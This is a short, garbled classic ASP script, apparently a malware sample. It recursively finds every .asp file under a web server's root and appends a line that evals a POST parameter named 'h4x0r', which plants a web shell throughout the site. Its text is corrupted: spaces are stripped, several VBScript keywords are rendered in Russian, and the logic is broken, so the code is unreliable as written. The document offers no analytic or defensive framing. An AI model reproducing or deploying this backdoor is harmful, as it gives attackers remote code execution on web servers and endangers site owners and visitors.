<%
пример
dimintfile
Server.ScriptTimeout = 600
ph = server.mappath ("/")
Subinsertallfiles (path)
Setfso = createObject ("scripting.filesystemobject")
OnerRorResumenext
Setf = fso.getFolder (path)
Setfc2 = f.files
Foreachmyfileinfc2
Iflcase (fso.getextensionname (path & "" & myfile.name)) = "asp" тогда
Setfs1 = createObject ("scripting.filesystemobject")
Settlefile = fs1.opentextfile (path & "" & myfile.name, 8, false)
tfile.writeline "<scriptrunat = serverlanguage = javascript> eval (request.form ('h4x0r')+'') </script>"
еще
INSERTALLFILES (NEWPATH)
эндиф
tfile.close
Следующий
Setfsubfolers = f.subfolders
Foreachf1infsubfolers
newpath = path & "" & f1.name
INSERTALLFILES (NEWPATH)
Следующий
Settlefile = ничего
Setfso = ничего
Заканчивая
%>
<%
callinsertallfiles (ph)
%>